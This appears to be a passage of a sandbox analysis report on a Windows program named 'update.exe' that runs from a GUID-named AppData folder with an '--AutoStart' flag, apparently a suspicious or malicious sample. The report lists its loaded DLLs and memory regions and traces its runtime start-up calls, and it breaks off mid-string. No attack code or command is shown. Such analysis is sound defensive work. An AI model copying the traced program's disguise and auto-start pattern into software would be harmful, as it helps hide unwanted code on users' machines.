mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 1575 start_va = 0x75980000 end_va = 0x75a9cfff entry_point = 0x75980000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll") Region: id = 1576 start_va = 0x75970000 end_va = 0x7597bfff entry_point = 0x75970000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll") Region: id = 1577 start_va = 0x76c40000 end_va = 0x76e3afff entry_point = 0x76c40000 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\SysWOW64\\iertutil.dll" (normalized: "c:\\windows\\syswow64\\iertutil.dll") Region: id = 1578 start_va = 0x75350000 end_va = 0x75381fff entry_point = 0x75350000 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\SysWOW64\\winmm.dll" (normalized: "c:\\windows\\syswow64\\winmm.dll") Region: id = 1579 start_va = 0x75fa0000 end_va = 0x76be9fff entry_point = 0x75fa0000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 1580 start_va = 0x75330000 end_va = 0x7534bfff entry_point = 0x75330000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" (normalized: "c:\\windows\\syswow64\\iphlpapi.dll") Region: id = 1581 start_va = 0x77a60000 end_va = 0x77a65fff entry_point = 0x77a60000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 1582 start_va = 0x75320000 end_va = 0x75326fff entry_point = 0x75320000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\SysWOW64\\winnsi.dll" (normalized: "c:\\windows\\syswow64\\winnsi.dll") Region: id = 1583 start_va = 0x757d0000 end_va = 0x75804fff entry_point = 0x757d0000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 1584 start_va = 0x210000 end_va = 0x24ffff entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 1585 start_va = 0x752d0000 end_va = 0x75313fff entry_point = 0x752d0000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\SysWOW64\\dnsapi.dll" (normalized: "c:\\windows\\syswow64\\dnsapi.dll") Region: id = 1586 start_va = 0x1f00000 end_va = 0x202ffff entry_point = 0x0 region_type = private name = "private_0x0000000001f00000" filename = "" Region: id = 1587 start_va = 0x75210000 end_va = 0x752cefff entry_point = 0x75210000 region_type = mapped_file name = "msvcr100.dll" filename = "\\Windows\\SysWOW64\\msvcr100.dll" (normalized: "c:\\windows\\syswow64\\msvcr100.dll") Region: id = 1588 start_va = 0x2030000 end_va = 0x216ffff entry_point = 0x0 region_type = private name = "private_0x0000000002030000" filename = "" Region: id = 1589 start_va = 0x770c0000 end_va = 0x770c4fff entry_point = 0x770c0000 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\SysWOW64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll") Region: id = 1590 start_va = 0x2170000 end_va = 0x243efff entry_point = 0x2170000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1591 start_va = 0x250000 end_va = 0x250fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000250000" filename = "" Region: id = 1592 start_va = 0x260000 end_va = 0x29ffff entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 1593 start_va = 0x1de0000 end_va = 0x1edffff entry_point = 0x0 region_type = private name = "private_0x0000000001de0000" filename = "" Region: id = 1594 start_va = 0x1ef0000 end_va = 0x1efffff entry_point = 0x0 region_type = private name = "private_0x0000000001ef0000" filename = "" Region: id = 1595 start_va = 0x73dd0000 end_va = 0x73e4ffff entry_point = 0x73dd0000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 1596 start_va = 0xfffd8000 end_va = 0xfffdafff entry_point = 0x0 region_type = private name = "private_0x00000000fffd8000" filename = "" Region: id = 1597 start_va = 0x3b0000 end_va = 0x3effff entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 1598 start_va = 0x4a0000 end_va = 0x57efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004a0000" filename = "" Region: id = 1599 start_va = 0x75110000 end_va = 0x75204fff entry_point = 0x75110000 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\SysWOW64\\propsys.dll" (normalized: "c:\\windows\\syswow64\\propsys.dll") Region: id = 1600 start_va = 0x2a0000 end_va = 0x2a1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002a0000" filename = "" Region: id = 1601 start_va = 0x74f70000 end_va = 0x7510dfff entry_point = 0x74f70000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll") Region: id = 1602 start_va = 0x2b0000 end_va = 0x2b0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002b0000" filename = "" Region: id = 1603 start_va = 0x340000 end_va = 0x341fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000340000" filename = "" Region: id = 1604 start_va = 0x77350000 end_va = 0x773d2fff entry_point = 0x77350000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 1605 start_va = 0x350000 end_va = 0x350fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000350000" filename = "" Region: id = 1606 start_va = 0x74f40000 end_va = 0x74f60fff entry_point = 0x74f40000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\SysWOW64\\ntmarta.dll" (normalized: "c:\\windows\\syswow64\\ntmarta.dll") Region: id = 1607 start_va = 0x76bf0000 end_va = 0x76c34fff entry_point = 0x76bf0000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\SysWOW64\\Wldap32.dll" (normalized: "c:\\windows\\syswow64\\wldap32.dll") Region: id = 1608 start_va = 0x370000 end_va = 0x38ffff entry_point = 0x370000 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000017.db" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000017.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000017.db") Region: id = 1609 start_va = 0x390000 end_va = 0x390fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000390000" filename = "" Region: id = 1610 start_va = 0x74f30000 end_va = 0x74f3afff entry_point = 0x74f30000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 1611 start_va = 0x360000 end_va = 0x363fff entry_point = 0x360000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 1612 start_va = 0x3a0000 end_va = 0x3a3fff entry_point = 0x3a0000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 1613 start_va = 0x1f00000 end_va = 0x1f2ffff entry_point = 0x1f00000 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000012.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000012.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000012.db") Region: id = 1614 start_va = 0x1f30000 end_va = 0x1f95fff entry_point = 0x1f30000 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db") Region: id = 1615 start_va = 0x1fa0000 end_va = 0x1fdffff entry_point = 0x0 region_type = private name = "private_0x0000000001fa0000" filename = "" Region: id = 1616 start_va = 0x1ff0000 end_va = 0x202ffff entry_point = 0x0 region_type = private name = "private_0x0000000001ff0000" filename = "" Region: id = 1617 start_va = 0x2030000 end_va = 0x212ffff entry_point = 0x0 region_type = private name = "private_0x0000000002030000" filename = "" Region: id = 1618 start_va = 0x2160000 end_va = 0x216ffff entry_point = 0x0 region_type = private name = "private_0x0000000002160000" filename = "" Region: id = 1619 start_va = 0x77240000 end_va = 0x77251fff entry_point = 0x77240000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\SysWOW64\\devobj.dll" (normalized: "c:\\windows\\syswow64\\devobj.dll") Region: id = 1620 start_va = 0x77260000 end_va = 0x77286fff entry_point = 0x77260000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll") Region: id = 1621 start_va = 0x774f0000 end_va = 0x7768cfff entry_point = 0x774f0000 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\SysWOW64\\setupapi.dll" (normalized: "c:\\windows\\syswow64\\setupapi.dll") Region: id = 1622 start_va = 0xfffd5000 end_va = 0xfffd7fff entry_point = 0x0 region_type = private name = "private_0x00000000fffd5000" filename = "" Region: id = 1623 start_va = 0x3f0000 end_va = 0x3f6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 1624 start_va = 0x580000 end_va = 0x581fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000580000" filename = "" Region: id = 1625 start_va = 0x2440000 end_va = 0x2832fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002440000" filename = "" Region: id = 1626 start_va = 0x74ee0000 end_va = 0x74f2bfff entry_point = 0x74ee0000 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 1627 start_va = 0x74eb0000 end_va = 0x74eddfff entry_point = 0x74eb0000 region_type = mapped_file name = "shdocvw.dll" filename = "\\Windows\\SysWOW64\\shdocvw.dll" (normalized: "c:\\windows\\syswow64\\shdocvw.dll") Region: id = 1628 start_va = 0x5a0000 end_va = 0x5a0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005a0000" filename = "" Region: id = 1629 start_va = 0x2840000 end_va = 0x287ffff entry_point = 0x0 region_type = private name = "private_0x0000000002840000" filename = "" Region: id = 1630 start_va = 0x2880000 end_va = 0x297ffff entry_point = 0x0 region_type = private name = "private_0x0000000002880000" filename = "" Region: id = 1631 start_va = 0x2980000 end_va = 0x29bffff entry_point = 0x0 region_type = private name = "private_0x0000000002980000" filename = "" Region: id = 1632 start_va = 0x29c0000 end_va = 0x2abffff entry_point = 0x0 region_type = private name = "private_0x00000000029c0000" filename = "" Region: id = 1633 start_va = 0xfffaa000 end_va = 0xfffacfff entry_point = 0x0 region_type = private name = "private_0x00000000fffaa000" filename = "" Region: id = 1634 start_va = 0xfffad000 end_va = 0xfffaffff entry_point = 0x0 region_type = private name = "private_0x00000000fffad000" filename = "" Thread: id = 83 os_tid = 0x4d0 [0091.095] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff7c | out: lpSystemTimeAsFileTime=0x18ff7c*(dwLowDateTime=0xbdcc61e0, dwHighDateTime=0x1d4800f)) [0091.095] GetCurrentProcessId () returned 0x4cc [0091.095] GetCurrentThreadId () returned 0x4d0 [0091.095] GetTickCount () returned 0x4356 [0091.095] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff74 | out: lpPerformanceCount=0x18ff74*=1806065000000) returned 1 [0091.095] GetStartupInfoA (in: lpStartupInfo=0x18ff20 | out: lpStartupInfo=0x18ff20*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0091.096] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x773e0000 [0091.096] GetProcAddress (hModule=0x773e0000, lpProcName="FlsAlloc") returned 0x773f4f2b [0091.096] GetProcAddress (hModule=0x773e0000, lpProcName="FlsGetValue") returned 0x773f1252 [0091.096] GetProcAddress (hModule=0x773e0000, lpProcName="FlsSetValue") returned 0x773f4208 [0091.096] GetProcAddress (hModule=0x773e0000, lpProcName="FlsFree") returned 0x773f359f [0091.097] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x773e0000 [0091.097] GetProcAddress (hModule=0x773e0000, lpProcName="EncodePointer") returned 0x77ad0fcb [0092.181] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x773e0000 [0092.181] GetProcAddress (hModule=0x773e0000, lpProcName="EncodePointer") returned 0x77ad0fcb [0092.181] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x773e0000 [0092.182] GetProcAddress (hModule=0x773e0000, lpProcName="EncodePointer") returned 0x77ad0fcb [0092.182] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x773e0000 [0092.182] GetProcAddress (hModule=0x773e0000, lpProcName="EncodePointer") returned 0x77ad0fcb [0092.182] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x773e0000 [0092.182] GetProcAddress (hModule=0x773e0000, lpProcName="EncodePointer") returned 0x77ad0fcb [0092.182] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x773e0000 [0092.182] GetProcAddress (hModule=0x773e0000, lpProcName="EncodePointer") returned 0x77ad0fcb [0092.182] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x773e0000 [0092.182] GetProcAddress (hModule=0x773e0000, lpProcName="EncodePointer") returned 0x77ad0fcb [0092.183] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x773e0000 [0092.183] GetProcAddress (hModule=0x773e0000, lpProcName="DecodePointer") returned 0x77ac9d35 [0092.183] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x773e0000 [0092.183] GetProcAddress (hModule=0x773e0000, lpProcName="DecodePointer") returned 0x77ac9d35 [0092.183] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x773e0000 [0092.183] GetProcAddress (hModule=0x773e0000, lpProcName="EncodePointer") returned 0x77ad0fcb [0092.183] GetProcAddress (hModule=0x773e0000, lpProcName="DecodePointer") returned 0x77ac9d35 [0092.183] GetCurrentThreadId () returned 0x4d0 [0092.184] GetStartupInfoA (in: lpStartupInfo=0x18fea4 | out: lpStartupInfo=0x18fea4*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0092.184] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0092.184] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0092.184] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0092.184] SetHandleCount (uNumber=0x20) returned 0x20 [0092.184] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe\" --AutoStart" [0092.184] GetEnvironmentStringsW () returned 0x5d2528* [0092.184] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1409, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1409 [0092.184] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1409, lpMultiByteStr=0x1ef11f8, cbMultiByte=1409, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="=::=::\\", lpUsedDefaultChar=0x0) returned 1409 [0092.184] FreeEnvironmentStringsW (penv=0x5d2528) returned 1 [0092.184] GetLastError () returned 0x0 [0092.184] SetLastError (dwErrCode=0x0) [0092.184] GetLastError () returned 0x0 [0092.184] SetLastError (dwErrCode=0x0) [0092.184] GetLastError () returned 0x0 [0092.184] SetLastError (dwErrCode=0x0) [0092.185] GetACP () returned 0x4e4 [0092.185] GetLastError () returned 0x0 [0092.185] SetLastError (dwErrCode=0x0) [0092.185] IsValidCodePage (CodePage=0x4e4) returned 1 [0092.185] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0092.185] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f950 | out: lpCPInfo=0x18f950) returned 1 [0092.185] GetLastError () returned 0x0 [0092.185] SetLastError (dwErrCode=0x0) [0092.185] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=1, lpCharType=0x18f8e0 | out: lpCharType=0x18f8e0) returned 1 [0092.185] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0092.185] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0092.185] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f964 | out: lpCharType=0x18f964) returned 1 [0092.185] GetLastError () returned 0x0 [0092.185] SetLastError (dwErrCode=0x0) [0092.185] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr="", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.185] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0092.185] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f698, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ穌뮓@Ā") returned 256 [0092.185] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ穌뮓@Ā", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0092.185] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ穌뮓@Ā", cchSrc=256, lpDestStr=0x18f488, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0092.185] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchWideChar=256, lpMultiByteStr=0x18fc64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\